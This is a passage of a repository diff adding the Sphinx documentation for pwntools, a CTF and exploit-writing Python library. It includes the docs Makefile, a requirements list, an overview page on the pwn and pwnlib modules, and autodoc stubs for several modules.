@echo " doctest to run all doctests embedded in the documentation (if enabled)"
clean:
-rm -rf $(BUILDDIR)/*
html:
$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
@echo
@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
dirhtml:
$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
@echo
@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
singlehtml:
$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
@echo
@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
pickle:
$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
@echo
@echo "Build finished; now you can process the pickle files."
json:
$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
@echo
@echo "Build finished; now you can process the JSON files."
htmlhelp:
$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
@echo
@echo "Build finished; now you can run HTML Help Workshop with the" \
".hhp project file in $(BUILDDIR)/htmlhelp."
qthelp:
$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
@echo
@echo "Build finished; now you can run "qcollectiongenerator" with the" \
".qhcp project file in $(BUILDDIR)/qthelp, like this:"
@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/pwntools.qhcp"
@echo "To view the help file:"
@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/pwntools.qhc"
devhelp:
$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
@echo
@echo "Build finished."
@echo "To view the help file:"
@echo "# mkdir -p $$HOME/.local/share/devhelp/pwntools"
@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/pwntools"
@echo "# devhelp"
epub:
$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
@echo
@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
latex:
$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
@echo
@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
@echo "Run \`make' in that directory to run these through (pdf)latex" \
"(use \`make latexpdf' here to do that automatically)."
latexpdf:
$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
@echo "Running LaTeX files through pdflatex..."
$(MAKE) -C $(BUILDDIR)/latex all-pdf
@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
text:
$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
@echo
@echo "Build finished. The text files are in $(BUILDDIR)/text."
man:
$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
@echo
@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
texinfo:
$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
@echo
@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
@echo "Run \`make' in that directory to run these through makeinfo" \
"(use \`make info' here to do that automatically)."
info:
$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
@echo "Running Texinfo files through makeinfo..."
make -C $(BUILDDIR)/texinfo info
@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
gettext:
$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
@echo
@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
changes:
$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
@echo
@echo "The overview file is in $(BUILDDIR)/changes."
linkcheck:
$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
@echo
@echo "Link check complete; look for any errors in the above output " \
"or in $(BUILDDIR)/linkcheck/output.txt."
doctest:
$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
@echo "Testing of doctests in the sources finished, look at the " \
"results in $(BUILDDIR)/doctest/output.txt."
+6
View File
@@ -0,0 +1,6 @@
paramiko
argparse
mako
pyelftools
sphinxcontrib-napoleon
sphinxcontrib-autoprogram
+56
View File
@@ -0,0 +1,56 @@
About pwntools
========================
Whether you're using it to write exploits, or as part
of another software project will dictate how you use it.
Historically pwntools was used as a sort of exploit-writing DSL. Simply doing
``from pwn import *`` in a previous version of pwntools would bring all sorts of
nice side-effects.
When redesigning pwntools for 2.0, we noticed two contrary goals:
* We would like to have a "normal" python module structure, to allow other
people to faster get familiar with how pwntools works.
* We would like to have even more side-effects, especially by putting the
terminal in raw-mode.
To make this possible, we decided to have two different modules. :mod:`pwnlib`
would be our nice, clean Python module, while :mod:`pwn` would be used during
CTFs.
:mod:`pwn` --- Toolbox optimized for CTFs
-----------------------------------------
.. module:: pwn
As stated, we would also like to have the ability to get a lot of these
side-effects by default. That is the purpose of this module. It does
the following:
* Imports everything from the toplevel :mod:`pwnlib` along with
functions from a lot of submodules. This means that if you do
``import pwn`` or ``from pwn import *``, you will access to
everything you need to write an exploit.
* Calls :func:`pwnlib.term.init` to put your terminal in raw mode
and implementing functionality to make it look like it is not.
* Setting the :data:`pwnlib.context.log_level` to `"info"`.
* Tries to parse some of the values in :data:`sys.argv` and every
value it succeeds in parsing it removes.
:mod:`pwnlib` --- Normal python library
---------------------------------------
.. module:: pwnlib
This module is our "clean" python-code. As a rule, we do not think that
importing :mod:`pwnlib` or any of the submodules should have any significant
side-effects (besides e.g. caching).
For the most part, you will also only get the bits you import. You for instance
not get access to :mod:`pwnlib.util.packing` simply by doing ``import
pwnlib.util``.
Though there are a few exceptions (such as :mod:`pwnlib.shellcraft`), that does
not quite fit the goals of being simple and clean, but they can still be
imported without implicit side-effects.
+10
View File
@@ -0,0 +1,10 @@
.. testsetup:: *
from pwnlib.asm import *
from pwnlib import shellcraft
:mod:`pwnlib.asm` --- Assembler functions
=========================================
.. automodule:: pwnlib.asm
:members:
+5
View File
@@ -0,0 +1,5 @@
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
==============================================================
.. automodule:: pwnlib.atexception
:members:
+5
View File
@@ -0,0 +1,5 @@
:mod:`pwnlib.atexit` --- Replacement for atexit
===============================================
.. automodule:: pwnlib.atexit
:members:
+46
View File
@@ -0,0 +1,46 @@
.. testsetup:: *
from pwn import *
old = context.defaults.copy()
.. testcleanup:: *
context.defaults.copy = old
Command Line Tools
========================
pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
.. toctree::
.. autoprogram:: pwnlib.commandline.asm:parser
:prog: asm
.. autoprogram:: pwnlib.commandline.constgrep:p
:prog: constgrep
.. autoprogram:: pwnlib.commandline.cyclic:parser
:prog: cyclic
.. autoprogram:: pwnlib.commandline.disasm:parser
:prog: disasm
.. autoprogram:: pwnlib.commandline.elfdiff:p
:prog: elfdiff
.. autoprogram:: pwnlib.commandline.elfpatch:p
:prog: elfpatch
.. autoprogram:: pwnlib.commandline.hex:parser
:prog: hex
.. autoprogram:: pwnlib.commandline.phd:parser
:prog: phd
.. autoprogram:: pwnlib.commandline.shellcraft:p
:prog: shellcraft
.. autoprogram:: pwnlib.commandline.unhex:parser
:prog: unhex
Loaded 100 of 696 files, more files were not shown because too many files have changed in this diff. Show more